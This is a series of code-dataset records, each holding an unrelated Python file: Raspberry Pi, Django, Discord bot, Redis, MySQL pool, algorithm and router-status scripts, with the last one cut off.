\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"586602880","text":"import picamera\nfrom time import sleep\n\ncamera = picamera.PiCamera()\nwhile True:\n camera.start_preview()\n sleep(1)\n camera.capture('image_test.jpg', resize=(500,281))\n camera.stop_preview()\n print(\"listones\")\n sleep(5)\n\ncamera.close()\n\n","sub_path":"Escritorio/KAYAK-with python/raspberry/tomarfoto.py","file_name":"tomarfoto.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"199823015","text":"# -*- coding: utf-8 -*-\nfrom datepop.datepop_c import LOCAL_SHELL\nif not LOCAL_SHELL:\n from google.appengine.api import memcache\n from google.appengine.api import taskqueue\n\nfrom django.core.urlresolvers import reverse\nimport os\nfrom django.http import HttpResponse\n\n\nfrom PIL import Image\nfrom StringIO import StringIO\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\nfrom django.core.files.base import ContentFile\n\nimport logging\n\n# decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_http_methods\nfrom datepop.decorator import api\n\nfrom course.models import *\nfrom course.cache import update_course, update_spot, update_all_spot_json\nfrom stats.models import CourseStats\n\n\n\n@api\ndef resize_spotsubimage(request):\n pass\n # spotsubimage_id = request.POST['spotsubimage_id']\n # fieldname = request.POST['fieldname']\n # spotsubimage = SpotSubImage.objects.get(id=spotsubimage_id)\n\n # if fieldname == 'img_original':\n # image_ori = Image.open(spotsubimage.img_original)\n # image_name = spotsubimage.img_original.name\n # elif fieldname == 'img_power':\n # image_ori = Image.open(spotsubimage.img_power)\n # image_name = spotsubimage.img_power.name\n\n # img_width, img_height = image_ori.size\n # print 'arclux] image_ori.size :', image_ori.size\n # file_name, file_ext = os.path.splitext(image_name)\n \n # # 가로가 세로보다 길 경우\n # if img_width > img_height:\n # print 'arclux] width > height'\n # resize_width = 740\n # resize_height = 740 * 2 / 3\n # img_resize = image_ori.resize((resize_width, resize_height), Image.ANTIALIAS)\n # else:\n # print 'arclux] width < height'\n # resize_height = 740\n # resize_width = 740 * 2 / 3\n # img_resize = image_ori.resize((resize_width, resize_height), Image.ANTIALIAS)\n\n # print 'arclux] image_resize.size :', img_resize.size\n\n # # PIL_TYPE, DJANGO_TYPE 결정\n # print 'arclux] File Ext :', file_ext\n # if file_ext == '.jpg':\n # PIL_TYPE = 'jpeg'\n # DJANGO_TYPE = 'image/jpeg'\n # elif file_ext == '.png':\n # PIL_TYPE = 'png'\n # DJANGO_TYPE = 'image/png'\n\n # # StringIO에 썸네일 임시저장, InMemoryUploadedFile생성\n # thumb_io = StringIO()\n # img_resize.save(thumb_io, format=PIL_TYPE)\n # thumb_io.seek(0)\n # thumb_file = InMemoryUploadedFile(thumb_io, None, image_name, DJANGO_TYPE, thumb_io.len, None)\n\n # if fieldname == 'img_original':\n # setattr(spotsubimage, 'img_original_resize', thumb_file)\n # spotsubimage.save()\n # return HttpResponse('Original Resize OK')\n # elif fieldname == 'img_power':\n # setattr(spotsubimage, 'img_power_resize', thumb_file)\n # spotsubimage.save()\n # return HttpResponse('Power Resize OK')\n\n# taskqueue.add(url='/taskqueue/course/resize_spotsubimage/',\n# params={'spotsubimage_id': instance.id, 'fieldname': field_name})\n@api\ndef cache_course_list(request):\n course_list = Course.objects.all()\n url = reverse('cache_course_one')\n for course in course_list:\n taskqueue.add(url=url, params={'course_id': course.id})\n return HttpResponse('OK %s' % (len(course_list)))\n\n@api\ndef cache_course_view(request):\n query_dict = request.POST\n course_id = query_dict['course_id']\n\n url = reverse('cache_course_one')\n taskqueue.add(url=url, params={'course_id': course_id})\n return HttpResponse('OK [%s]' % (course_id))\n\n@api\ndef cache_course_detail(request):\n query_dict = request.POST\n course_id = query_dict['course_id']\n\n url = reverse('cache_course_detail')\n taskqueue.add(url=url, params={'course_id': course_id})\n return HttpResponse('Course Detail OK[%s]' % (course_id))\n\n@api\ndef cache_course_detail_list(request):\n course_list = Course.objects.all()\n url = reverse('cache_course_detail')\n for course in course_list:\n taskqueue.add(url=url, params={'course_id': course.id})\n return HttpResponse('Course Detail List OK %s' % (len(course_list)))\n\n@api\ndef cache_spot_list(request):\n spot_list = Spot.objects.all()\n url = reverse('cache_spot_one')\n for spot in spot_list:\n taskqueue.add(url=url, params={'spot_id': spot.id })\n return HttpResponse('OK %s' % (len(spot_list)))\n\n@api\ndef cache_spot_simple_list(request):\n spot_list = Spot.objects.all()\n url = reverse('cache_spot_simple_one')\n for spot in spot_list:\n taskqueue.add(url=url, params={'spot_id': spot.id })\n return HttpResponse('OK %s' % (len(spot_list)))\n\n@api\ndef cache_spot_view(request):\n query_dict = request.POST\n spot_id = query_dict['spot_id']\n\n url = reverse('cache_spot_one')\n taskqueue.add(url=url, params={'spot_id': spot_id})\n return HttpResponse('OK [%s]' % (spot_id))\n\n@api\ndef cache_spotsub_list(request):\n spotsub_list = SpotSub.objects.all()\n url = reverse('cache_spotsub_one')\n for spotsub in spotsub_list:\n taskqueue.add(url=url, params={'spotsub_id': spotsub.id })\n return HttpResponse('OK %s' % (len(spotsub_list)))\n\n@api\ndef cache_all_spot_json(request):\n update_all_spot_json()\n return HttpResponse('OK')\n\n@api\ndef cache_all_spot_simple_json(request):\n update_all_spot_json(True)\n return HttpResponse('OK')","sub_path":"course/taskqueue.py","file_name":"taskqueue.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"144372932","text":"# coding=utf-8\ndef maxSum(nums):\n n = len(nums)\n i = 0\n while nums[i] < 0:\n nums[i] *= -1\n i += 1\n j = n - 1\n while nums[j] < 0:\n nums[j] *= -1\n j -= 1\n\n dp = [0] * n\n dp[0] = nums[0]\n ret = dp[0]\n for i in range(1, n):\n if dp[i - 1] > 0:\n dp[i] = max(dp[i - 1] + nums[i], nums[i])\n else:\n dp[i] = nums[i]\n ret = max(ret, dp[i])\n return ret\n\n\nif __name__ == '__main__':\n while 1:\n s = raw_input()\n if s is not None and len(s) > 0:\n n = int(s)\n nums = map(int, raw_input().split())\n print(maxSum(nums))\n","sub_path":"zishell/interview/0929yidian1.py","file_name":"0929yidian1.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"451815513","text":"from tags import *\nfrom styles import *\n\n\ndef inheritance(inheritance):\n for elt in inheritance:\n for i in range(0, len(elt)-1):\n STYLE_FUNCTIONS[elt[i]] = STYLE_FUNCTIONS[elt[-1]]\n\n\ndef gen_alias(tag, options=None, classes=None, styles=None):\n if options is None:\n options = {}\n if classes is None:\n classes = []\n if styles is None:\n styles = {}\n alias = tag\n for key, value in options.items():\n alias += SPLIT_OPTION + key + SPLIT_OPTION_VALUE + SPACE_CHAR.join(value.split(' '))\n for key, value in styles.items():\n alias += SPLIT_CLASS + key + SPLIT_STYLE_VALUE + SPACE_CHAR.join(value.split(' '))\n for elt in classes:\n alias += SPLIT_CLASS + elt\n return alias, tag\n\n\n# Special characters used by the language\nTAG_CHAR = '£$'\nTAG_CHAR_END = '$£'\nSPLIT_OPTION = ':'\nSPLIT_CLASS = '?'\nSPLIT_STYLE_PROPS = '?'\nSPLIT_STYLE_VALUE = '='\nSPLIT_STYLE = ':'\nSPLIT_OPTION_VALUE = '='\nSPLIT_CELLS = '|'\n\nSPACE_CHAR = '_'\n\n# Links tags name to their functions\nTAGS_FUNCTIONS = {\n 'title': title,\n 'img': img,\n 'p': p,\n 'sstring': styled_string,\n 'table': table,\n 'nmap': nmap,\n 'ssl': testssl,\n 'part': stall,\n}\n\n# Links tag name to their style functions\n# Use of lambda function allows more flexibility\nSTYLE_FUNCTIONS = {\n 'img': {\n 'align': lambda document, value: paragraph_align(document.paragraphs[-2:], value),\n 'caption': lambda document, value: caption_style(document.paragraphs[-1], value)\n },\n 'p': {\n 'align': lambda document, value: paragraph_align(document.paragraphs[-1], value),\n 'style': lambda document, value: global_paragraph_style(document.paragraphs[-1], value),\n 'size': lambda document, value: paragraph_font_size(document.paragraphs[-1], value),\n 'color': lambda document, value: paragraph_font_color(document.paragraphs[-1], value),\n 'indent': lambda document, value: paragraph_indentation(document.paragraphs[-1], value)\n },\n 'table': {\n 'style': lambda document, value: global_table_style(document.tables[-1], value),\n 'cellColor': lambda document, value: cells_background_color(document.tables[-1], value),\n 'align': lambda document, value: paragraph_align(document.paragraphs[-1], value),\n 'cellAlign': lambda document, value: cells_alignement(document.tables[-1], value),\n 'caption': lambda document, value: caption_style(document.paragraphs[-1], value),\n 'indent': lambda document, value: table_indentation(document.tables[-1], value),\n 'autofit': lambda document, value: set_autofit(document.tables[-1], value),\n 'merge': lambda document, value: merge(document.tables[-1], value)\n },\n}\n\ninheritance([\n ('nmap', 'ssl', 'table'),\n])\n\n# Create alias for tags.\n# When the template will be read, the dict key will be replaced by the value.\n# It is useful to create custom tags and snippets\n\nALIAS = {\n 'li': gen_alias('p', styles={'style': 'List Bullet'}),\n 'code': gen_alias('p', styles={'style': 'Code'}),\n 'b': gen_alias('sstring', options={'run_bold': '1'}),\n 'i': gen_alias('sstring', options={'run_italic': '1'}),\n 'table': gen_alias('table', options={'delimiter': SPLIT_CELLS}, styles={\n 'style': 'Tableau Solucom',\n 'indent': '0',\n 'caption': 'TitreFigure2'\n }),\n 'img': gen_alias('img', options={'border': '5'}),\n 'nmap': gen_alias('nmap', styles={\n 'style': 'Tableau Solucom',\n 'indent': '0',\n 'cellAlign': '*/*#CENTER',\n 'autofit': '1',\n 'align': 'CENTER',\n 'caption': 'TitreFigure2'\n }),\n 'ssl': gen_alias('ssl', styles={\n 'style': 'Tableau Solucom',\n 'indent': '0',\n 'cellAlign': '*/*-0#CENTER!*/0#LEFT',\n 'autofit': '1',\n 'align': 'CENTER',\n 'caption': 'TitreFigure2'\n }),\n}\n\n\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"211709588","text":"from discord.ext import commands\nfrom .utils import fuzzy, time\nimport asyncio\nimport discord\nimport re\nimport zlib\nimport io\nimport os\nimport lxml.etree as etree\n\nDISCORD_PY_GUILD_ID = 336642139381301249\nROBODANNY_ID = 80528701850124288\n\ndef can_use_block():\n def predicate(ctx):\n if ctx.guild is None:\n return False\n\n return ctx.channel.permissions_for(ctx.author).manage_roles\n return commands.check(predicate)\n\nclass SphinxObjectFileReader:\n # Inspired by Sphinx's InventoryFileReader\n BUFSIZE = 16 * 1024\n\n def __init__(self, buffer):\n self.stream = io.BytesIO(buffer)\n\n def readline(self):\n return self.stream.readline().decode('utf-8')\n\n def skipline(self):\n self.stream.readline()\n\n def read_compressed_chunks(self):\n decompressor = zlib.decompressobj()\n while True:\n chunk = self.stream.read(self.BUFSIZE)\n if len(chunk) == 0:\n break\n yield decompressor.decompress(chunk)\n yield decompressor.flush()\n\n def read_compressed_lines(self):\n buf = b''\n for chunk in self.read_compressed_chunks():\n buf += chunk\n pos = buf.find(b'\\n')\n while pos != -1:\n yield buf[:pos].decode('utf-8')\n buf = buf[pos + 1:]\n pos = buf.find(b'\\n')\n\nclass BotUser(commands.Converter):\n async def convert(self, ctx, argument):\n if not argument.isdigit():\n raise commands.BadArgument('Not a valid bot user ID.')\n try:\n user = await ctx.bot.fetch_user(argument)\n except discord.NotFound:\n raise commands.BadArgument('Bot user not found (404).')\n except discord.HTTPException as e:\n raise commands.BadArgument(f'Error fetching bot user: {e}')\n else:\n if not user.bot:\n raise commands.BadArgument('This is not a bot.')\n return user\n\nclass API(commands.Cog):\n \"\"\"Discord API exclusive things.\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n self.issue = re.compile(r'##(?P[0-9]+)')\n self._recently_blocked = set()\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if not message.guild or message.guild.id != DISCORD_PY_GUILD_ID:\n return\n\n # this bot is only a backup for when R. Danny is offline\n robodanny = message.guild.get_member(ROBODANNY_ID)\n if robodanny and robodanny.status is not discord.Status.offline:\n return\n\n m = self.issue.search(message.content)\n if m is not None:\n url = 'https://github.com/Rapptz/discord.py/issues/'\n await message.channel.send(url + m.group('number'))\n\n def parse_object_inv(self, stream, url):\n # key: URL\n # n.b.: key doesn't have `discord` or `discord.ext.commands` namespaces\n result = {}\n\n # first line is version info\n inv_version = stream.readline().rstrip()\n\n if inv_version != '# Sphinx inventory version 2':\n raise RuntimeError('Invalid objects.inv file version.')\n\n # next line is \"# Project: \"\n # then after that is \"# Version: \"\n projname = stream.readline().rstrip()[11:]\n version = stream.readline().rstrip()[11:]\n\n # next line says if it's a zlib header\n line = stream.readline()\n if 'zlib' not in line:\n raise RuntimeError('Invalid objects.inv file, not z-lib compatible.')\n\n # This code mostly comes from the Sphinx repository.\n entry_regex = re.compile(r'(?x)(.+?)\\s+(\\S*:\\S*)\\s+(-?\\d+)\\s+(\\S+)\\s+(.*)')\n for line in stream.read_compressed_lines():\n match = entry_regex.match(line.rstrip())\n if not match:\n continue\n\n name, directive, prio, location, dispname = match.groups()\n domain, _, subdirective = directive.partition(':')\n if directive == 'py:module' and name in result:\n # From the Sphinx Repository:\n # due to a bug in 1.1 and below,\n # two inventory entries are created\n # for Python modules, and the first\n # one is correct\n continue\n\n # Most documentation pages have a label\n if directive == 'std:doc':\n subdirective = 'label'\n\n if location.endswith('$'):\n location = location[:-1] + name\n\n key = name if dispname == '-' else dispname\n prefix = f'{subdirective}:' if domain == 'std' else ''\n\n if projname == 'discord.py':\n key = key.replace('discord.ext.commands.', '').replace('discord.', '')\n\n result[f'{prefix}{key}'] = os.path.join(url, location)\n\n return result\n\n async def build_rtfm_lookup_table(self, page_types):\n cache = {}\n for key, page in page_types.items():\n sub = cache[key] = {}\n async with self.bot.session.get(page + '/objects.inv') as resp:\n if resp.status != 200:\n raise RuntimeError('Cannot build rtfm lookup table, try again later.')\n\n stream = SphinxObjectFileReader(await resp.read())\n cache[key] = self.parse_object_inv(stream, page)\n\n self._rtfm_cache = cache\n\n async def do_rtfm(self, ctx, key, obj):\n page_types = {\n 'latest': 'https://discordpy.readthedocs.io/en/latest',\n 'latest-jp': 'https://discordpy.readthedocs.io/ja/latest',\n 'python': 'https://docs.python.org/3',\n 'python-jp': 'https://docs.python.org/ja/3',\n }\n\n if obj is None:\n await ctx.send(page_types[key])\n return\n\n if not hasattr(self, '_rtfm_cache'):\n await ctx.trigger_typing()\n await self.build_rtfm_lookup_table(page_types)\n\n obj = re.sub(r'^(?:discord\\.(?:ext\\.)?)?(?:commands\\.)?(.+)', r'\\1', obj)\n\n if key.startswith('latest'):\n # point the abc.Messageable types properly:\n q = obj.lower()\n for name in dir(discord.abc.Messageable):\n if name[0] == '_':\n continue\n if q == name:\n obj = f'abc.Messageable.{name}'\n break\n\n cache = list(self._rtfm_cache[key].items())\n def transform(tup):\n return tup[0]\n\n matches = fuzzy.finder(obj, cache, key=lambda t: t[0], lazy=False)[:8]\n\n e = discord.Embed(colour=discord.Colour.blurple())\n if len(matches) == 0:\n return await ctx.send('Could not find anything. Sorry.')\n\n e.description = '\\n'.join(f'[`{key}`]({url})' for key, url in matches)\n await ctx.send(embed=e)\n\n @commands.group(aliases=['rtfd'], invoke_without_command=True)\n async def rtfm(self, ctx, *, obj: str = None):\n \"\"\"Gives you a documentation link for a discord.py entity.\n\n Events, objects, and functions are all supported through a\n a cruddy fuzzy algorithm.\n \"\"\"\n await self.do_rtfm(ctx, 'latest', obj)\n\n @rtfm.command(name='jp')\n async def rtfm_jp(self, ctx, *, obj: str = None):\n \"\"\"Gives you a documentation link for a discord.py entity (Japanese).\"\"\"\n await self.do_rtfm(ctx, 'latest-jp', obj)\n\n @rtfm.command(name='python', aliases=['py'])\n async def rtfm_python(self, ctx, *, obj: str = None):\n \"\"\"Gives you a documentation link for a Python entity.\"\"\"\n key = self.transform_rtfm_language_key(ctx, 'python')\n await self.do_rtfm(ctx, key, obj)\n\n @rtfm.command(name='py-jp', aliases=['py-ja'])\n async def rtfm_python_jp(self, ctx, *, obj: str = None):\n \"\"\"Gives you a documentation link for a Python entity (Japanese).\"\"\"\n await self.do_rtfm(ctx, 'python-jp', obj)\n\n @commands.command()\n @can_use_block()\n async def block(self, ctx, *, member: discord.Member):\n \"\"\"Blocks a user from your channel.\"\"\"\n\n reason = f'Block by {ctx.author} (ID: {ctx.author.id})'\n\n try:\n await ctx.channel.set_permissions(member, send_messages=False, add_reactions=False, reason=reason)\n except:\n await ctx.send('\\N{THUMBS DOWN SIGN}')\n else:\n await ctx.send('\\N{THUMBS UP SIGN}')\n\n @commands.command()\n @commands.has_permissions(manage_roles=True)\n @commands.bot_has_permissions(manage_roles=True)\n async def tempblock(self, ctx, duration: time.FutureTime, *, member: discord.Member):\n \"\"\"Temporarily blocks a user from your channel.\n\n The duration can be a a short time form, e.g. 30d or a more human\n duration such as \"until thursday at 3PM\" or a more concrete time\n such as \"2017-12-31\".\n\n Note that times are in UTC.\n \"\"\"\n\n reminder = self.bot.get_cog('Reminder')\n if reminder is None:\n return await ctx.send('Sorry, this functionality is currently unavailable. Try again later?')\n\n timer = await reminder.create_timer(duration.dt, 'tempblock', ctx.guild.id, ctx.author.id,\n ctx.channel.id, member.id,\n connection=ctx.db,\n created=ctx.message.created_at)\n\n reason = f'Tempblock by {ctx.author} (ID: {ctx.author.id}) until {duration.dt}'\n\n try:\n await ctx.channel.set_permissions(member, send_messages=False, reason=reason)\n except:\n await ctx.send('\\N{THUMBS DOWN SIGN}')\n else:\n await ctx.send(f'Blocked {member} for {time.human_timedelta(duration.dt, source=timer.created_at)}.')\n\n @commands.Cog.listener()\n async def on_tempblock_timer_complete(self, timer):\n guild_id, mod_id, channel_id, member_id = timer.args\n\n guild = self.bot.get_guild(guild_id)\n if guild is None:\n # RIP\n return\n\n channel = guild.get_channel(channel_id)\n if channel is None:\n # RIP x2\n return\n\n to_unblock = guild.get_member(member_id)\n if to_unblock is None:\n # RIP x3\n return\n\n moderator = guild.get_member(mod_id)\n if moderator is None:\n try:\n moderator = await self.bot.fetch_user(mod_id)\n except:\n # request failed somehow\n moderator = f'Mod ID {mod_id}'\n else:\n moderator = f'{moderator} (ID: {mod_id})'\n else:\n moderator = f'{moderator} (ID: {mod_id})'\n\n\n reason = f'Automatic unblock from timer made on {timer.created_at} by {moderator}.'\n\n try:\n await channel.set_permissions(to_unblock, send_messages=None, reason=reason)\n except:\n pass\n\n async def refresh_faq_cache(self):\n self.faq_entries = {}\n base_url = 'https://discordpy.readthedocs.io/en/latest/faq.html'\n async with self.bot.session.get(base_url) as resp:\n text = await resp.text(encoding='utf-8')\n\n root = etree.fromstring(text, etree.HTMLParser())\n nodes = root.findall(\".//div[@id='questions']/ul[@class='simple']/li/ul//a\")\n for node in nodes:\n self.faq_entries[''.join(node.itertext()).strip()] = base_url + node.get('href').strip()\n\n @commands.command()\n async def faq(self, ctx, *, query: str = None):\n \"\"\"Shows an FAQ entry from the discord.py documentation\"\"\"\n if not hasattr(self, 'faq_entries'):\n await self.refresh_faq_cache()\n\n if query is None:\n return await ctx.send(f'https://discordpy.readthedocs.io/en/{branch}/faq.html')\n\n matches = fuzzy.extract_matches(query, self._faq_cache[branch], scorer=fuzzy.partial_ratio, score_cutoff=40)\n if len(matches) == 0:\n return await ctx.send('Nothing found…')\n\n paginator = commands.Paginator(suffix='', prefix='')\n for key, _, value in matches:\n paginator.add_line(f'**{key}**\\n{value}')\n page = paginator.pages[0]\n await ctx.send(page)\n\ndef setup(bot):\n bot.add_cog(API(bot))\n","sub_path":"cogs/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":12322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"101837479","text":"__author__ = 'pyt'\n\nfrom CeleryPaste.core.settings import REDIS_DB, REDIS_PORT, REDIS_HOST\nimport redis\nimport base64\n\nclass DbRedis():\n _db = None\n\n def __init__(self):\n self.db_host = REDIS_HOST\n self.db_port = REDIS_PORT\n self.db_name = REDIS_DB\n\n @property\n def db(self):\n if self._db is None:\n self._db = redis.StrictRedis(host=self.db_host, port=self.db_port, db=self.db_name)\n return self._db\n\n def chargeLinkInRedis(self, db_link):\n for li in db_link:\n encodeLink = base64.b64encode(li)\n self.db.set(encodeLink, 'True')\n\n def presentLink(self, link):\n return self.db.exists(base64.b64encode(link))\n\n def checkListLink(self, list_paste):\n returnList = list()\n for paste in list_paste:\n web, link = paste\n if not self.presentLink(link):\n returnList.append(paste)\n return returnList\n\n def flushallRedis(self):\n return self.db.flushall()\n\npaste_database_redis = DbRedis()","sub_path":"CeleryPaste/core/db_redis.py","file_name":"db_redis.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"568633138","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Author : Fixdq\n# @File : db_utlis.py\n# @Software: PyCharm\n\nimport pymysql\n\nfrom DBUtils.PooledDB import PooledDB\nPOOL = PooledDB(\n creator=pymysql, # 使用链接数据库的模块\n maxconnections=6, # 连接池允许的最大连接数，0和None表示不限制连接数\n mincached=2, # 初始化时，链接池中至少创建��空闲的链接，0表示不创建\n maxcached=5, # 链接池中最多闲置的链接，0和None不限制\n maxshared=3, # 链接池中最多共享的链接数量，0和None表示全部共享。PS: 无用，因为pymysql和MySQLdb等模块的 threadsafety都为1，所有值无论设置为多少，_maxcached永远为0，所以永远是所有链接都共享。\n blocking=True, # 连接池中如果没有可用连接后，是否阻塞等待。True，等待；False，不等待然后报错\n maxusage=None, # 一个链接最多被重复使用的次数，None表示无限制\n setsession=[], # 开始会话前执行的命令列表。\n ping=0,\n # ping MySQL服务端，检查是否服务可用。\n host='127.0.0.1',\n port=3306,\n user='fixd',\n password='123',\n database='db41',\n charset='utf8',\n autocommit = True # 自动提交\n)\n","sub_path":"day43/test2/db_utlis.py","file_name":"db_utlis.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"237496275","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport pickle\r\nimport sys\r\nimport logging\r\nimport datetime\r\nlogging.basicConfig(level=logging.INFO)\r\nlogger = logging.getLogger(__name__)\r\n\r\nID_DUMP_FN = \"data/stidDic.bin\"\r\nSDATE = datetime.datetime.utcnow() - datetime.timedelta(hours=30)\r\nEDATE = datetime.datetime.utcnow() - datetime.timedelta(hours=4.5)\r\n\r\ndef main():\r\n with open(ID_DUMP_FN, 'rb') as f:\r\n try:\r\n stid_dic = pickle.load(f)\r\n except:\r\n logger.error('empty pickle file', exc_info=True)\r\n\r\n logger.info(\"SDATE: %s\" % SDATE)\r\n logger.info(\"EDATE: %s\" % EDATE)\r\n\r\n for k, v in stid_dic.copy().items():\r\n # SDATE以前のツイートは削除\r\n if v[\"created_at\"] < SDATE:\r\n logger.info(\"deleting: %s\" % v[\"created_at\"])\r\n del stid_dic[k]\r\n\r\n # EDATE以降のツイートは削除\r\n if v[\"created_at\"] > EDATE:\r\n logger.info(\"deleting: %s\" % v[\"created_at\"])\r\n del stid_dic[k]\r\n\r\n with open(ID_DUMP_FN, 'wb') as f:\r\n pickle.dump(stid_dic, f)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"misawa-matcher/chk_stid.py","file_name":"chk_stid.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"378653864","text":"import numpy as np\n\ndef normal_log(X, mean, sigma):\n pi = np.pi\n log_density = -0.5 * np.log(pi) - np.log(sigma) - \\\n -0.5 / sigma**2 * (X - mean)**2\n return log_density\n\ndef normal_multivariate_log(X, mean, cov):\n assert type(X) is np.ndarray\n assert type(mean) is np.ndarray\n assert type(cov) is np.ndarray\n d = cov.shape[0]\n P = np.linalg.inv(cov) # compute the inverse the covariance matrix\n X_prime = X - mean\n log_density = -0.5 * d * np.log(np.pi) + np.log(np.linalg.det(P)) - \\\n 0.5 * X_prime * (X_prime.dot(P))\n return np.sum(log_density, axis=1)\n\ndef uniformize(X):\n \"\"\"\n \n Params:\n -------\n X : array like, shape (-1, )\n\n Output:\n -------\n u : array like, shape (-1, ), same as the input X\n\n \"\"\"\n return None\n\n ","sub_path":"monte_carlo/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"615909629","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Message',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('email', models.EmailField(max_length=75)),\n ('subject', models.CharField(max_length=50)),\n ('first_name', models.CharField(max_length=50)),\n ('last_name', models.CharField(max_length=50)),\n ('message', models.TextField(max_length=5000)),\n ('date', models.DateTimeField(default=datetime.datetime(2015, 7, 19, 14, 53, 58, 85116))),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"message/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"174479541","text":"class Solution:\n def findDifferentBinaryString(self, nums) -> str:\n if nums == [\"1\"]:\n return \"0\"\n if nums == [\"0\"]:\n return \"1\"\n nums.sort()\n n = len(nums)\n a = [int(x, 2) for x in nums]\n pre = 0\n i = 0\n while i < n and a[i] - pre <= 1:\n pre = a[i]\n i += 1\n if i == n:\n x = a[-1] + 1\n else:\n x = a[i] - 1\n return \"{0:b}\".format(x).zfill(n)\n\n\ns = Solution()\nprint(s.findDifferentBinaryString([\"10\", \"11\"]))\n# print(s.findDifferentBinaryString([\"00\", \"00\"]))\n","sub_path":"leetcode/2021/contest/weekly-255/Contest2.py","file_name":"Contest2.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"427509965","text":"import os\nimport importlib\nfrom collections import defaultdict\n\n\ndef load_plugins():\n groups = defaultdict(list)\n all = []\n ids = set()\n with os.scandir(\"plugins\") as direntries:\n for entry in direntries:\n if entry.name.endswith('.py') and not entry.name.startswith(\"__\") and entry.is_file():\n module = importlib.import_module(f\"plugins.{entry.name[:-3]}\")\n if module.plugin.id in ids:\n raise Exception(f\"Duplicate ids! {module.plugin.name}: {module.plugin.id}\")\n ids.add(module.plugin.id)\n if module.plugin.enabled:\n all.append(module.plugin)\n for group in module.plugin.groups:\n groups[group].append(module.plugin)\n groups[\"all\"] = all\n for pluginlist in groups.values():\n pluginlist.sort(key=lambda plugin: plugin.name)\n return groups\n\n\nif __name__ == \"__main__\":\n groups = load_plugins()\n for group in groups:\n print(group, groups[group], \"\\n\")\n","sub_path":"ebedke/ebedke.py","file_name":"ebedke.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"557215265","text":"import views\nfrom django.conf.urls import url\n\nurlpatterns = [\n url(r'^test_success/', views.test_success),\n url(r'^test_fail/', views.test_fail),\n url(r'^add_product/', views.add_product),\n url(r'^update_product/', views.update_product),\n url(r'^get_products_data/', views.get_products_data),\n url(r'^upload_products/', views.upload_products),\n url(r'^product_form/', views.product_form),\n url(r'^product_form/$', views.product_form),\n url(r'^search_products/$', views.search_products),\n url(r'^confirm_order/$', views.confirm_order),\n\n url(r'^get_orders_data/$', views.get_orders_data),\n url(r'^get_order_details/$', views.get_order_details),\n\n url(r'^get_customers_data/$', views.get_customers_data), \n\n url(r'^get_dashboard_data/$', views.get_dashboard_data),\n\n url(r'^pos_login/$', views.pos_login),\n]\n","sub_path":"backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"526282784","text":"from utils import G_LOGGER\nimport logging, logging.handlers\nimport asyncio, asyncssh, sys\nimport time\n\n\nSTATUS = 1\nLAST_STATUS= {\n 'first' : {\n 'type' : '',\n 'status' : ''\n },\n 'second' : {\n 'type' : '',\n 'status' : ''\n }\n}\n\nUSER = 'tdcomm'\nPASSWORD = 'tddcom1234'\nIP = '192.168.0.1'\nLOGGER = None\n\nasync def get_link_status():\n try:\n async with asyncssh.connect(IP,username=USER,password=PASSWORD,known_hosts=None) as conn:\n result = await conn.run('status link_manager')\n return result.stdout\n except:\n return False\n\nasync def check_status():\n global LOGGER\n global LAST_STATUS\n global STATUS\n\n link_status = await get_link_status()\n if not link_status:\n if STATUS == 1:\n LOGGER.critical('ROBUSTEL R2000 is not connected to the system')\n STATUS = 0\n return\n \n STATUS = 1\n \n # link status check\n link_status = link_status.split('link_status')[1:]\n \n \n CUR_STATUS = {\n 'first' : {\n 'type' : '',\n 'status' : ''\n },\n 'second' : {\n 'type' : '',\n 'status' : ''\n }\n }\n\n first_link = link_status[0].split()\n CUR_STATUS['first']['type'] = first_link[first_link.index('link') + 2]\n CUR_STATUS['first']['status'] = first_link[first_link.index('status') + 2]\n \n if 